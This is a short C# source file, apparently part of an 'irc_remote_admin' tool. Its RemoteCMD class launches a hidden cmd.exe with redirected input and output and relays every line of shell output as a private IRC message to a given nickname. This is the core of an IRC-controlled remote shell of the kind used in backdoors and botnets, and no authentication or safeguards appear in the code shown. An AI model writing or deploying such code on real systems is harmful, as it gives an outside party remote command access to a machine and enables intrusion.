using System;
using System.Collections.Generic;
using System.Text;
using System.Diagnostics;
using System.IO;
using Meebey.SmartIrc4net;

namespace irc_remote_admin
{
    class RemoteCMD
    {
        Process _cmd = new Process();
        ProcessStartInfo _cmd_s = new ProcessStartInfo("cmd.exe");
        StreamWriter sortStreamWriter = null;
        IrcClient _irc;
        string _nick;

        public RemoteCMD(IrcClient __irc,string Nick)
        {
            _irc = __irc;
            _nick = Nick;
            _cmd.StartInfo = _cmd_s;
            _cmd.StartInfo.UseShellExecute = false;
            _cmd.StartInfo.RedirectStandardOutput = true;
            _cmd.OutputDataReceived += new DataReceivedEventHandler(onOutput);
            _cmd.StartInfo.RedirectStandardInput = true;
            _cmd.Start();
            sortStreamWriter = _cmd.StandardInput;
            _cmd.BeginOutputReadLine();
 
        
        }

        public static string Convert(string value, Encoding src, Encoding trg)
        {
            Decoder dec = src.GetDecoder();
            byte[] ba = trg.GetBytes(value);
            int len = dec.GetCharCount(ba, 0, ba.Length);
            char[] ca = new char[len];
            dec.GetChars(ba, 0, ba.Length, ca, 0);
            return new string(ca);
        }

        private void onOutput(object sendingProcess, DataReceivedEventArgs outLine)
        {
            string s = Convert(outLine.Data, Encoding.GetEncoding(1251), Encoding.Default);
            _irc.SendMessage(SendType.Message, _nick, s);

        }

    }
}
